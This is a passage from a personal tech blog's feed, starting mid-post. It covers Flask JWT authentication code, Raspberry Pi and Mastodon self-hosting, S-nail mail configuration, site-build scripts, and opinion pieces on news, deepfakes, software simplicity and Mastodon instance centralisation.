It&rsquo;s not governed by <code>$BIGTECH</code>, and extremists have decided to stick to their own echo chambers like Gab. Oh, and the other side propagates massive blocklists for the tiniest of infractions (defined by them), so they effectively echo chambered themselves too. I&rsquo;m not complaining.</p> <blockquote> <p>&ldquo;All social media sucks, but the fediverse sucks less.&rdquo;<br /> — Me, 2020</p> </blockquote> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><p>By which I mean any two ideologically opposing groups. Not restricted to politics.</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">Most posts on that sub are just screenshots of tweets, so&hellip; <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Status update + 2020-07-20T00:00:00Z + tag:icyphox.sh/,2020-07-20:blog/2020-07-20 + + <h2>Things I've been up to, for the past month-ish</h2> <p>I realize I haven&rsquo;t updated this site in a while&mdash;mostly due to lack of time. The past two weeks have been pretty busy (read: I now actually have work to do), which also means I have very little time to devote to personal projects. Anyway, on with the update.</p> <h2 id="i-now-work-at-cometchat">I now work at CometChat</h2> <p>I&rsquo;ve begun working as an Engineering Intern at <a href="https://www.cometchat.com" rel="nofollow">CometChat</a>. It&rsquo;s been a very interesting experience so far. Most of my work revolves around infrastructure and platform engineering&mdash;pretty exciting stuff. [Oops, redacted]</p> <p>I have also been extensively dabbling in XMPP and websocket internals, as I&rsquo;m writing a websocket proxy of sorts. I&rsquo;ll probably talk about it in a future blog post, once I get approval org-side. :^)</p> <h2 id="that-s-literally-it">that&rsquo;s literally it</h2> <p>I sat all day thinking of what else to add to this post&mdash;there&rsquo;s <em>got to be</em> something else right? Not really. I don&rsquo;t think I did anything worthwhile. I did get some pretty interesting emails from people who read this blog, so yes, please email me&mdash;even if it&rsquo;s just to say hi. I always reply.</p> + + + Flask-JWT-Extended × Flask-Login + 2020-06-24T00:00:00Z + tag:icyphox.sh/,2020-06-24:blog/flask-jwt-login + + <h2>Apparently I do webshit now</h2> <p>For the past few months, I&rsquo;ve been working on building a backend for <code>$STARTUP</code>, with a bunch of friends. I&rsquo;ll probably write in detail about it when we launch our beta. The backend is your bog standard REST API, built on Flask&mdash;if you didn&rsquo;t guess from the title already.</p> <p>Our existing codebase heavily relies on <a href="https://flask-login.readthedocs.io" rel="nofollow">Flask-Login</a>; it offers some pretty neat interfaces for dealing with users and their states. However, its default mode of operation&mdash;sessions&mdash;don&rsquo;t really fit into a Flask app that&rsquo;s really just an API. It&rsquo;s not optimal. Besides, this is what <a href="https://jwt.io" rel="nofollow">JWTs</a> were built for.</p> <p>I won&rsquo;t bother delving deep into JSON web tokens, but the general flow is like so:</p> <ul> <li>client logs in via say <code>/login</code></li> <li>a unique token is sent in the response</li> <li>each subsequent request authenticated request is sent with the token</li> </ul> <p>The neat thing about tokens is you can store stuff in them&mdash;&ldquo;claims&rdquo;, as they&rsquo;re called.</p> <h2 id="returning-an-access-token-to-the-client">returning an <code>access_token</code> to the client</h2> <p>The <code>access_token</code> is sent to the client upon login. The idea is simple, perform your usual checks (username / password etc.) and login the user via <code>flask_login.login_user</code>. Generate an access token using <code>flask_jwt_extended.create_access_token</code>, store your user identity in it (and other claims) and return it to the user in your <code>200</code> response.</p> <p>Here&rsquo;s the excerpt from our codebase.</p> <pre><code class="language-python">access_token = create_access_token(identity=email) login_user(user, remember=request.json[&quot;remember&quot;]) return good(&quot;Logged in successfully!&quot;, access_token=access_token) </code></pre> <p>But, for <code>login_user</code> to work, we need to setup a custom user loader to pull out the identity from the request and return the user object.</p> <h2 id="defining-a-custom-user-loader-in-flask-login">defining a custom user loader in Flask-Login</h2> <p>By default, Flask-Login handles user loading via the <code>user_loader</code> decorator, which should return a user object. However, since we want to pull a user object from the incoming request (the token contains it), we&rsquo;ll have to write a custom user loader via the <code>request_loader</code> decorator.</p> <pre><code class="language-python"># Checks the 'Authorization' header by default. app.config[&quot;JWT_TOKEN_LOCATION&quot;] = [&quot;json&quot;] # Defaults to 'identity', but the spec prefers 'sub'. app.config[&quot;JWT_IDENTITY_CLAIM&quot;] = &quot;sub&quot; @login.request_loader def load_person_from_request(request): try: token = request.json[&quot;access_token&quot;] except Exception: return None data = decode_token(token) # this can be your 'User' class person = PersonSignup.query.filter_by(email=data[&quot;sub&quot;]).first() if person: return person return None </code></pre> <p>There&rsquo;s just one mildly annoying thing to deal with, though. Flask-Login insists on setting a session cookie. We will have to disable this behaviour ourselves. And the best part? There&rsquo;s no documentation for this&mdash;well there is, but it&rsquo;s incomplete and points to deprecated functions.</p> <h2 id="disabling-flask-login-s-session-cookie">disabling Flask-Login&rsquo;s session cookie</h2> <p>To do this, we define a custom session interface, like so:</p> <pre><code class="language-python">from flask.sessions import SecureCookieSessionInterface from flask import g from flask_login import user_loaded_from_request @user_loaded_from_request.connect def user_loaded_from_request(app, user=None): g.login_via_request = True class CustomSessionInterface(SecureCookieSessionInterface): def should_set_cookie(self, *args, **kwargs): return False def save_session(self, *args, **kwargs): if g.get(&quot;login_via_request&quot;): return return super(CustomSessionInterface, self).save_session(*args, **kwargs) app.session_interface = CustomSessionInterface() </code></pre> <p>In essence, this checks the global store <code>g</code> for <code>login_via_request</code> and and doesn&rsquo;t set a cookie in that case. I&rsquo;ve submitted a PR upstream for this to be included in the docs (<a href="https://github.com/maxcountryman/flask-login/pull/514" rel="nofollow">#514</a>).</p> + + + You don't need news + 2020-06-21T00:00:00Z + tag:icyphox.sh/,2020-06-21:blog/dont-news + + <h2>My hot 'n' spicy take on "news" today</h2> <p>News&mdash;the never ending feed of information pertaining to &ldquo;current events&rdquo;, politics, trivia, and other equally useless junk. News today is literally just this: &ldquo;&lt;big name person&gt; did/said &lt;dumb thing&gt;!&rdquo;, &ldquo;&lt;group&gt; protests against &lt;bad thing&gt;!&rdquo;, and so on. Okay, shit&rsquo;s going on in this world. Another day, another thing to be <code>$FEELING</code> about.</p> <p>Now here&rsquo;s a question for you: do you remember what news you consumed yesterday? The day before? Last week? Heck no! Maybe some major headlines, but really, what did you gain from learning that information? Must&rsquo;ve been interesting to read <em>at that</em> time. Hence, news, by virtue of its &ldquo;newness&rdquo;, is given importance&mdash;and get this, it isn&rsquo;t even important enough for you to bother remembering it for a few days.</p> <p>News is entertainment. Quick gratification that lasts a day, at max.</p> <h2 id="actionable-news">actionable news</h2> <p>So what is useful news, then? I think I&rsquo;ll go out on a limb here, and say &ldquo;anything that is actionable&rdquo;. By that I mean anything that you can physically affect / information that you can actually put to use. Again, there are probably edge-cases and this isn&rsquo;t a rule that fits all, but it&rsquo;s a decent principle to follow.</p> <p>As an example, to readers living outside of the US, news regarding police brutality &amp; the Black Lives Matter movement are unactionable. I&rsquo;m not saying those problems don&rsquo;t exist or don&rsquo;t matter, but <em>what</em> are you really doing to help the cause? Sending thoughts and prayers? Posting angrily on Instagram? Tweeting about it? Stop, and think for yourself if these things actually make any difference. Your time might be better invested in doing something else.</p> <h2 id="other-problems">other problems</h2> <p>There are other, more concerning problems with modern news&mdash;it is no longer purely objective. The sad state of news / reporting today is it&rsquo;s inherently biased. I mean political bias, of course. All news is either left-leaning or right-leaning, and narratives are developed to fit their political stance. This is essentially propaganda. Today&rsquo;s news <em>is</em> propaganda. If anything, this should be reason enough to avoid it.</p> <h2 id="but-i-compare-multiple-sources">but I compare multiple sources!</h2> <p>Okay, so you read the same thing written by CNN, BBC, The New York Times, etc.? Do you realize how much time you wasted doing this? Ultimately to what end&mdash;to forget about it by the next day, and do it all over again. What a dull, braindead process.</p> <h2 id="won-t-i-be-ignorant-then">won&rsquo;t I be ignorant then?</h2> <p>If you think keeping up with current events makes you intellectually superior somehow&hellip;boy are you wrong. Do something that actually stimulates your gray matter. But, here&rsquo;s the thing, if the &ldquo;news&rdquo; is big enough, you&rsquo;re bound to come across it anyway! You might hear your friend discuss it, or see it on Twitter, so on and so forth. How you process it thereafter is what matters.</p> <p>Give it a thought. Imagine if all that social media, news, and general internet noise didn&rsquo;t clog your head. I think it&rsquo;ll be much nicer. You might not, and that&rsquo;s okay. Mail your thoughts or @ me on the fedi&mdash;I&rsquo;d like to hear them.</p> + + + Migrating to the RPi + 2020-06-04T00:00:00Z + tag:icyphox.sh/,2020-06-04:blog/pi + + <h2>Raspberry Pi shenanigans, and other things</h2> <p>I&rsquo;d ordered the Raspberry Pi 4B (the 4GB variant), sometime early this year, thinking I&rsquo;d get to self-hosting everything on it as soon as it arrived. As things turn out, it ended up sitting in its box up until two weeks ago&mdash;it took me <em>that</em> long to order an SD card for it. No, I didn&rsquo;t have one. Anyway, from there began quite the wild ride.</p> <h2 id="flashing-the-sd-card">flashing the SD card</h2> <p>You&rsquo;d think this would be easy right? Just plug it into your laptop&rsquo;s SD card reader (or microSD), and flash it like you would a USB drive. Well, nope. Of the three laptops at home one doesn&rsquo;t have an SD card reader, mine&mdash;running OpenBSD&mdash;didn&rsquo;t detect it, and my brother&rsquo;s&mdash;running Void&mdash;didn&rsquo;t detect it either.</p> <p>Then it hit me: my phone (my brother&rsquo;s, actually), has an SD card slot that actually works. Perhaps I can use the phone to flash the image? Took a bit of DDG&rsquo;ing (ducking?), but we eventually figured out that the block-device for the SD on the phone was <code>/dev/mmcblk1</code>. Writing to it was just the usual <code>dd</code> invocation.</p> <h2 id="got-nat-d">got NAT&rsquo;d</h2> <p>After the initial setup, I was eager to move my services off the Digital Ocean VPS, to the RPi. I set up the SSH port forward through my router config, as a test. Turns out my ISP has me NAT&rsquo;d. The entirety of my apartment is serviced by these fellas, and they have us all under a CG-NAT. Fantastic.</p> <p>Evading this means I either lease a public IP from the ISP, or I continue using my VPS, and port forward traffic from it via a tunnel. I went with option two since it gives me something to do.</p> <h2 id="nat-evasion">NAT evasion</h2> <p>This was fairly simple to setup with Wireguard and <code>iptables</code>. I don&rsquo;t really want to get into detail here, since it&rsquo;s been documented aplenty online, but in essence you put your VPS and the Pi on the same network, and forward traffic hitting your internet facing interface (<code>eth0</code>) to the VPN&rsquo;s (<code>wg0</code>). Fairly simple stuff.</p> <h2 id="setting-up-mastodon-on-the-pi">setting up Mastodon on the Pi</h2> <p>Mastodon was kind of annoying to get working. My initial plan was to port forward only a few selected ports, have Mastodon exposed on the Pi at some port via nginx, and then front <em>that</em> nginx via the VPS. So basically: Mastodon (localhost on Pi) &lt;-&gt; nginx (on Pi) &lt;-&gt; nginx (on VPS, via Wireguard). I hope that made sense.</p> <p>Anyway, this setup would require having Mastodon run on HTTP, since I&rsquo;ll be HTTPS&rsquo;ing at the VPS. If you think about it, it&rsquo;s kinda like what Cloudflare does. But, Mastodon doesn&rsquo;t like running on HTTP. It just wasn&rsquo;t working. So I went all in and decided to forward all <sup>80</sup>&frasl;<sub>443</sub> traffic and serve everything off the Pi.</p> <p>Getting back to Mastodon&mdash;the initial few hiccups aside, I was able to get it running at <code>toot.icyphox.sh</code>. However, as a seeker of aesthetics, I wanted my handle to be <code>@icyphox.sh</code>. Turns out, this can be achieved fairly easily.</p> <p>Add a new <code>WEB_DOMAIN</code> variable to your <code>.env.production</code> file, found in your Mastodon root dir. Set <code>WEB_DOMAIN</code> to your desired domain, and <code>LOCAL_DOMAIN</code> to the, well, undesired one. In my case:</p> <pre><code>WEB_DOMAIN=icyphox.sh LOCAL_DOMAIN=toot.icyphox.sh </code></pre> <p>Funnily enough, the <a href="https://github.com/tootsuite/documentation/blob/archive/Running-Mastodon/Serving_a_different_domain.md" rel="nofollow">official documentation for this</a> says the exact opposite, which&hellip;doesn&rsquo;t work.</p> <p>I don&rsquo;t really understand, but whatever it works and now my Mastodon is @<a href="https://toot.icyphox.sh/@x" rel="nofollow">x@icyphox.sh</a>. I&rsquo;m not complaining. Send mail if you know what&rsquo;s going on here.</p> <p>And oh, here&rsquo;s the protective case <a href="https://peppe.rs" rel="nofollow">nerd</a> fashioned out of cardboard.</p> <p><img src="https://cdn.icyphox.sh/zn2I3.jpg" alt="" /></p> + + + Site changes + 2020-05-27T00:00:00Z + tag:icyphox.sh/,2020-05-27:blog/site-changes + + <h2>New stuff at the {back,front}end</h2> <p>The past couple of days, I&rsquo;ve spent a fair amount of time tweaking this site. My site&rsquo;s build process involves <a href="https://github.com/icyphox/vite" rel="nofollow">vite</a> and a bunch of <a href="https://github.com/icyphox/site/tree/master/bin" rel="nofollow">scripts</a>. These scripts are executed via vite&rsquo;s pre- and post-build actions. The big changes that were made were performance improvements in the <code>update_index.py</code> script, and the addition of <code>openring.py</code>, which you can see at the very bottom of this post!</p> <h2 id="speeding-up-index-page-generation">speeding up index page generation</h2> <p>The old script&mdash;the one that featured in <a href="/blog/hacky-scripts">Hacky scripts</a>&mdash;was absolutely ridiculous, and not to mention <em>super</em> slow. Here&rsquo;s what it did:</p> <ul> <li>got the most recent file (latest post) by sorting all posts by <code>mtime</code>.</li> <li>parsed the markdown frontmatter and created a markdown table entry like:</li> </ul> <pre><code class="language-python">line = f&quot;| [{meta['title']}]({url}) | `{meta['date']}` |&quot; </code></pre> <ul> <li>updated the markdown table (in <code>_index.md</code>) by in-place editing the markdown, with the line created earlier&mdash;for the latest post.</li> <li>finally, I&rsquo;d have to <em>rebuild</em> the entire site since this markdown hackery would happen at the very end of the build, i.e, didn&rsquo;t actually get rendered itself.</li> </ul> <p>That&hellip;probably didn&rsquo;t make much sense to you, did it? Don&rsquo;t bother. I don&rsquo;t know what I was thinking when I wrote that mess. So with how it <em>was</em> done aside, here&rsquo;s how it&rsquo;s done now:</p> <ul> <li>the metadata for all posts are nicely fetched and sorted using <code>python-frontmatter</code>.</li> <li>the metadata list is fed into Jinja for use in templating, and is rendered very nicely using a simple <code>for</code> expression: <code> {% for p in posts %} &lt;tr&gt; &lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;/blog/{{ p.url }}&quot;&gt;{{ p.title }}&lt;/a&gt;&lt;/td&gt; &lt;td align=&quot;right&quot;&gt;{{ p.date }}&lt;/td&gt; &lt;/tr&gt; {% endfor %} </code></li> </ul> <p>A neat thing I learnt while working with Jinja, is you can use <code>DebugUndefined</code> in your <code>jinja2.Environment</code> definition to ignore uninitialized template variables. Jinja&rsquo;s default behaviour is to remove all uninitialized variables from the template output. So for instance, if you had:</p> <pre><code class="language-html">&lt;body&gt; {{ body }} &lt;/body&gt; &lt;footer&gt; {{ footer }} &lt;/footer&gt; </code></pre> <p>And only <code>{{ body }}</code> was initialized in your <code>template.render(body=body)</code>, the output you get would be:</p> <pre><code class="language-html">&lt;body&gt; Hey there! &lt;/body&gt; &lt;footer&gt; &lt;/footer&gt; </code></pre> <p>This is annoying if you&rsquo;re attempting to generate your template across multiple stages, as I was. Now, I initialize my Jinja environment like so:</p> <pre><code class="language-python">from jinja2 import DebugUndefined env = jinja2.Environment(loader=template_loader,undefined=DebugUndefined) </code></pre> <p>I use the same trick for <code>openring.py</code> too. Speaking of&hellip;let&rsquo;s talk about <code>openring.py</code>!</p> <h2 id="the-new-webring-thing-at-the-bottom">the new webring thing at the bottom</h2> <p>After having seen Drew&rsquo;s <a href="https://git.sr.ht/~sircmpwn/openring" rel="nofollow">openring</a>, my <a href="https://en.wikipedia.org/wiki/Not_invented_here" rel="nofollow">NIH</a> kicked in and I wrote <a href="https://github.com/icyphox/openring.py" rel="nofollow"><code>openring.py</code></a>. It pretty much does the exact same thing, except it&rsquo;s a little more composable with vite. Currently, it reads a random sample of 3 feeds from a list of feeds provided in a <code>feeds.txt</code> file, and updates the webring with those posts. Like a feed-bingo of sorts. ;)</p> <p>I really like how it turned out&mdash;especially the fact that I got my CSS grid correct in the first try!</p> + + + The efficacy of deepfakes + 2020-05-11T00:00:00Z + tag:icyphox.sh/,2020-05-11:blog/efficacy-deepfakes + + <h2>Can we really write it off as "not a threat"?</h2> <p>A few days back, NPR put out an article discussing why deepfakes aren&rsquo;t all that powerful in spreading disinformation. <a href="https://www.npr.org/2020/05/07/851689645/why-fake-video-audio-may-not-be-as-powerful-in-spreading-disinformation-as-feare" rel="nofollow">Link to article</a>.</p> <p>According to the article:</p> <blockquote> <p>&ldquo;We&rsquo;ve already passed the stage at which they would have been most effective,&rdquo; said Keir Giles, a Russia specialist with the Conflict Studies Research Centre in the United Kingdom. &ldquo;They&rsquo;re the dog that never barked.&rdquo;</p> </blockquote> <p>I agree. This might be the case when it comes to Russian influence. There are simpler, more cost-effective ways to conduct <a href="https://en.wikipedia.org/wiki/Active_measures" rel="nofollow">active measures</a>, like memes. Besides, America already has the infrastructure in place to combat influence ops, and have been doing so for a while now.</p> <p>However, there are certain demographics whose governments may not have the capability to identify and perform damage control when a disinformation campaign hits, let alone deepfakes. An example of this demographic: India.</p> <h2 id="the-indian-landscape">the Indian landscape</h2> <p>The disinformation problem in India is way more sophisticated, and harder to combat than in the West. There are a couple of reasons for this:</p> <ul> <li>The infrastructure for fake news already exists: WhatsApp</li> <li>Fact checking media in 22 different languages is non-trivial</li> </ul> <p>India has had a long-standing problem with misinformation. The 2019 elections, the recent CAA controversy and even more recently&mdash;the coronavirus. In some cases, it has even lead to <a href="https://www.npr.org/2018/07/18/629731693/fake-news-turns-deadly-in-india" rel="nofollow">mob violence</a>.</p> <p>All of this shows that the populace is easily influenced, and deepfakes are only going to simplify this. What&rsquo;s worse is explaining to a rural crowd that something like a deepfake can exist&mdash;comprehension and adoption of technology has always been slow in India, and can be attributed to socio-economic factors.</p> <p>There also exists a majority of the population that&rsquo;s already been influenced to a certain degree: the right wing. A deepfake of a Muslim leader trashing Hinduism will be eaten up instantly. They are inclined to believe it is true, by virtue of prior influence and given the present circumstances.</p> <h2 id="countering-deepfakes">countering deepfakes</h2> <p>The thing about deepfakes is the tech to spot them already exists. In fact, some can even be eyeballed. Deepfake imagery tends to have weird artifacting, which can be noticed upon closer inspection. Deepfake videos, of people specifically, blink / move weirdly. The problem at hand, however, is the general public cannot be expected to notice these at a quick glance, and the task of proving a fake is left to researchers and fact checkers.</p> <p>Further, India does not have the infrastructure to combat deepfakes at scale. By the time a research group / think tank catches wind of it, the damage is likely already done. Besides, disseminating contradictory information, i.e. &ldquo;this video is fake&rdquo;, is also a task of its own. Public opinion has already been swayed, and the brain dislikes contradictions.</p> <h2 id="why-haven-t-we-seen-it-yet">why haven&rsquo;t we seen it yet?</h2> <p>Creating a deepfake isn&rsquo;t trivial. Rather, creating a <em>convincing</em> one isn&rsquo;t. I would also assume that most political propaganda outlets are just large social media operations. They lack the technical prowess and / or the funding to produce a deepfake. This doesn&rsquo;t mean they can&rsquo;t ever.</p> <p>It goes without saying, but this post isn&rsquo;t specific to India. I&rsquo;d say other countries with a similar socio-economic status are in a similar predicament. Don&rsquo;t write off deepfakes as a non-issue just because America did.</p> + + + Simplicity (mostly) guarantees security + 2020-05-07T00:00:00Z + tag:icyphox.sh/,2020-05-07:blog/simplicity-security + + <h2>This is why I meme mnmlsm so much</h2> <p>Although it is a very comfy one, it&rsquo;s not just an aesthetic. Simplicity and minimalism, in technology, is great for security too. I say &ldquo;mostly&rdquo; in the title because human error cannot be discounted, and nothing is perfect. However, the simpler your tech stack is, it is inherentely more secure than complex monstrosities.</p> <p>Let&rsquo;s look at systemd, for example. It&rsquo;s got over 1.2 million lines of code. &ldquo;Hurr durr but LoC doesn&rsquo;t mean anything!&rdquo; Sure ok, but can you <em>imagine</em> auditing this? How many times has it even been audited? I couldn&rsquo;t find any audit reports. No, the developers are not security engineers and a trustworthy audit must be done by a third-party. What&rsquo;s scarier, is this thing runs on a huge percentage of the world&rsquo;s critical infrastructure and contains privileged core subsystems.</p> <p>&ldquo;B-but Linux is much bigger!&rdquo; Indeed, it is, but it has a thousand times (if not more) the number of eyes looking at the code, and there have been multiple third-party audits. There are hundreds of independent orgs and multiple security teams looking at it. That&rsquo;s not the case with systemd&mdash;it&rsquo;s probably just RedHat.</p> <p>Compare this to a bunch of shell scripts. Agreed, writing safe shell can be hard and there are a ton of weird edge-cases depending on your shell implementation, but the distinction here is <em>you</em> wrote it. Which means, you can identify what went wrong&mdash;things are predictable. systemd, however, is a large blackbox, and its state at runtime is largely unprovable and unpredictable. I am certain even the developers don&rsquo;t know.</p> <p>And this is why I whine about complexity so much. A complex, unpredictable system is nothing more than a large attack surface. Drew DeVault, head of <a href="https://sourcehut.org" rel="nofollow">sourcehut</a> wrote something similar (yes that&rsquo;s the link, yes it has a typo).:</p> <p><a href="https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/" rel="nofollow">https://sourcehut.org/blog/2020&ndash;04&ndash;20-prioritizing-simplitity/</a></p> <p>He manually provisions all sourcehut infrastructure, because tools like Salt, Kubernetes etc. are just like systemd in our example&mdash;large monstrosities which can get you RCE&rsquo;d. Don&rsquo;t believe me? See <a href="https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/" rel="nofollow">this</a>.</p> <p><em>This was day 3 of the #100DaysToOffload challenge. It came out like a systemd-hate post, but really, I couldn&rsquo;t think of a better example.</em></p> + + + The S-nail mail client + 2020-05-06T00:00:00Z + tag:icyphox.sh/,2020-05-06:blog/s-nail + + <h2>And how to achieve a usable configuration for IMAP/SMTP</h2> <p>TL;DR: Here&rsquo;s my <a href="https://github.com/icyphox/dotfiles/blob/master/home/.mailrc" rel="nofollow"><code>.mailrc</code></a>.</p> <p>As I&rsquo;d mentioned in my blog post about <a href="/blog/mael">mael</a>, I&rsquo;ve been on the lookout for a good, usable mail client. As it happens, I found S-nail just as I was about to give up on mael. Turns out writing an MUA isn&rsquo;t all too easy after all. S-nail turned out to be the perfect client for me, but I had to invest quite some time in reading the <a href="https://www.sdaoden.eu/code-nail.html" rel="nofollow">very thorough manual</a> and exchanging emails with its <a href="https://www.sdaoden.eu" rel="nofollow">very friendly author</a>. I did it so you don&rsquo;t have to<sup class="footnote-ref" id="fnref:read-man"><a href="#fn:read-man">1</a></sup>, and I present to you this guide.</p> <h2 id="basic-settings">basic settings</h2> <p>These settings below should guarantee some sane defaults to get started with. Comments added for context.</p> <pre><code class="language-conf"># enable upward compatibility with S-nail v15.0 set v15-compat # charsets we send mail in set sendcharsets=utf-8,iso-8859-1 # reply back in sender's charset set reply-in-same-charset # prevent stripping of full names in replies set fullnames # adds a 'Mail-Followup-To' header; useful in mailing lists set followup-to followup-to-honour-ask-yes # asks for an attachment after composing set askattach # marks a replied message as answered set markanswered # honors the 'Reply-To' header set reply-to-honour # automatically launches the editor while composing mail interactively set editalong # I didn't fully understand this :) set history-gabby=all # command history storage set history-file=~/.s-nailhist # sort mail by date (try 'thread' for threaded view) set autosort=date </code></pre> <h2 id="authentication">authentication</h2> <p>With these out of the way, we can move on to configuring our account&mdash;authenticating IMAP and SMTP. Before that, however, we&rsquo;ll have to create a <code>~/.netrc</code> file to store our account credentials.</p> <p>(This of course, assumes that your SMTP and IMAP credentials are the same. I don&rsquo;t know what to do otherwise. )</p> <pre><code class="language-netrc">machine *.domain.tld login user@domain.tld password hunter2 </code></pre> <p>Once done, encrypt this file using <code>gpg</code> / <code>gpg2</code>. This is optional, but recommended.</p> <pre><code>$ gpg2 --symmetric --cipher-algo AES256 -o .netrc.gpg .netrc </code></pre> <p>You can now delete the plaintext <code>.netrc</code> file. Now add these lines to your <code>.mailrc</code>:</p> <pre><code class="language-conf">set netrc-lookup set netrc-pipe='gpg2 -qd ~/.netrc.gpg' </code></pre> <p>Before we define our account block, add these two lines for a nicer IMAP experience:</p> <pre><code class="language-conf">set imap-cache=~/.cache/nail set imap-keepalive=240 </code></pre> <p>Defining an account is dead simple.</p> <pre><code class="language-conf">account &quot;personal&quot; { localopts yes set from=&quot;Your Name &lt;user@domain.tld&gt;&quot; set folder=imaps://imap.domain.tld:993 # copy sent messages to Sent; '+' indicates subdir of 'folder' set record=+Sent set inbox=+INBOX # optionally, set this to 'smtps' and change the port accordingly # remove 'smtp-use-starttls' set mta=smtp://smtp.domain.tld:587 smtp-use-starttls # couple of shortcuts to useful folders shortcut sent +Sent \ inbox +INBOX \ drafts +Drafts \ trash +Trash \ archives +Archives } # enable account on startup account personal </code></pre> <p>You might also want to trash mail, instead of perma-deleting them (<code>delete</code> does that). To achieve this, we define an alias:</p> <pre><code>define trash { move &quot;$@&quot; +Trash } commandalias del call trash </code></pre> <p>Replace <code>+Trash</code> with the relative path to your trash folder.</p> <h2 id="aesthetics">aesthetics</h2> <p>The fun stuff. I don&rsquo;t feel like explaining what these do (hint: I don&rsquo;t fully understand it either), so just copy-paste it and mess around with the colors:</p> <pre><code># use whatever symbol you fancy set prompt='&gt; ' colour 256 sum-dotmark ft=bold,fg=13 dot colour 256 sum-header fg=007 older colour 256 sum-header bg=008 dot colour 256 sum-header fg=white colour 256 sum-thread bg=008 dot colour 256 sum-thread fg=cyan </code></pre> <p>The prompt can be configured more extensively, but I don&rsquo;t need it. Read the man page if you do.</p> <h2 id="essential-commands">essential commands</h2> <p>Eh, you can just read the man page, I guess. But here&rsquo;s a quick list off the top of my head:</p> <ul> <li><code>headers</code>: Lists all messages, with the date, subject etc.</li> <li><code>mail</code>: Compose mail.</li> <li><code>&lt;number&gt;</code>: Read mail by specifiying its number on the message list.</li> <li><code>delete &lt;number&gt;</code>: Delete mail.</li> <li><code>new &lt;number&gt;</code>: Mark as new (unread).</li> <li><code>file &lt;shortcut or path to folder&gt;</code>: Change folders. For example: <code>file sent</code></li> </ul> <p>That&rsquo;s all there is to it.</p> <p><em>This is day 2 of the #100DaysToOffload challenge. I didn&rsquo;t think I&rsquo;d participate, until today. So yesterday&rsquo;s post is day 1. Will I keep at it? I dunno. We&rsquo;ll see.</em></p> <div class="footnotes"> <hr /> <ol> <li id="fn:read-man"><p>Honestly, read the man page (and email Steffen!)&mdash;there&rsquo;s a ton of useful options in there.</p> <a class="footnote-return" href="#fnref:read-man"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Stop joining mastodon.social + 2020-05-05T00:00:00Z + tag:icyphox.sh/,2020-05-05:blog/mastodon-social + + <h2>Do you even understand federation?</h2> <p>No, really. Do you actually understand why the Mastodon network exists, and what it stands for, or are you just LARPing? If you&rsquo;re going to just cross-post from Twitter, why are you even on Mastodon?</p> <p>Okay, so Mastodon is a &ldquo;federated network&rdquo;. What does that mean? You have a bunch of instances, each having their own userbase, and each instance <em>federates</em> with other instances, forming a distributed network. Got that? Cool. Now let&rsquo;s get to the problem with mastodon.social.</p> <p>mastodon.social is the instance run by the lead developer. Why does everybody flock to it? I&rsquo;m really not sure, but if I were to hazard a guess, I&rsquo;d say it&rsquo;s because people don&rsquo;t really understand federation. &ldquo;Oh, big instance? I should probably join that.&rdquo; Herd mentality? I dunno.</p> <p>And what happens when every damn user joins just one instance? It becomes more Twitter, that&rsquo;s what. The federation is gone. Nearly all activity is generated from just one instance. Here are some numbers:</p> <ul> <li>Total number of users on Mastodon: ~2.2 million.</li> <li>Number of users on mastodon.social: 529923</li> </ul> <p>Surprisingly, there&rsquo;s an instance even bigger than mastodon.social&mdash;pawoo.net. I have no idea why it&rsquo;s so big and it&rsquo;s primarily Japanese. Its user count is over 620k. So mastodon.social and pawoo.net put together form over 1 million users, that&rsquo;s <em>more than</em> 50% of the entire Mastodon populace. That&rsquo;s nuts.<sup class="footnote-ref" id="fnref:federation-fallacy"><a href="#fn:federation-fallacy">1</a></sup></p> <p>And you&rsquo;re only enabling this centralization by joining mastodon.social! Really, what even <em>is there</em> on mastodon.social? Have you even seen its local timeline? Probably not. Join an instance with more flavor. Are you into, say, the BSDs? Join bsd.network. Free software? fosstodon.org. Or host your own for yourself and your friends.</p> <p>If you really do care about decentralization and freedom, and aren&rsquo;t just memeing to look cool on Twitter, then move your account to another instance.<sup class="footnote-ref" id="fnref:move-account"><a href="#fn:move-account">2</a></sup></p> <div class="footnotes"> <hr /> <ol> <li id="fn:federation-fallacy"><a href="https://rosenzweig.io/blog/the-federation-fallacy.html" rel="nofollow">https://rosenzweig.io/blog/the-federation-fallacy.html</a> <a class="footnote-return" href="#fnref:federation-fallacy"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:move-account"><p>Go to <code>/settings/migration</code> from your instance&rsquo;s web page.</p> <a class="footnote-return" href="#fnref:move-account"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + OpenBSD on the HP Envy 13 + 2020-04-17T00:00:00Z + tag:icyphox.sh/,2020-04-17:blog/openbsd-hp-envy + + <h2>I put a blowfish in my laptop this week</h2> <p>My existing KISS install broke because I thought it would be a great idea to have <a href="https://github.com/alpinelinux/apk-tools" rel="nofollow">apk-tools</a> alongside the <code>kiss</code> package manager. It&rsquo;s safe to say, that did not end well&mdash;especially when I installed, and then removed a package. With a semi-broken install that I didn&rsquo;t feel like fixing, I figured I&rsquo;d give OpenBSD a try. And I did.</p> <h2 id="installation-and-setup">installation and setup</h2> <p>Ran into some trouble booting off the USB initially, turned out to be a faulty stick. Those things aren&rsquo;t built to last, sadly. Flashed a new stick, booted up. Setup was pleasant, very straightforward. Didn&rsquo;t really have to intervene much.</p> <p>After booting in, I was greeted with a very archaic looking FVWM desktop. It&rsquo;s not the prettiest thing, and especially annoying to work with when you don&rsquo;t have your mouse setup, i.e. no tap-to-click.</p> <p>I needed wireless, and my laptop doesn&rsquo;t have an Ethernet port. USB tethering just works, but the connection kept dying. I&rsquo;m not sure why. Instead, I downloaded the <a href="http://man.openbsd.org/iwm.4" rel="nofollow">iwm(4)</a> firmware from <a href="http://firmware.openbsd.org/firmware/6.6/" rel="nofollow">here</a>, loaded it up on a USB stick and copied it over to <code>/etc/firmware</code>. After that, it was as simple as running <a href="http://man.openbsd.org/fw_update.1" rel="nofollow">fw_update(1)</a> and the firmware is auto-detected and loaded. In fact, if you have working Internet, <code>fw_update</code> will download the required firmware for you, too.</p> <p>Configuring wireless is painless and I&rsquo;m so glad to see that there&rsquo;s no <code>wpa_supplicant</code> horror to deal with. 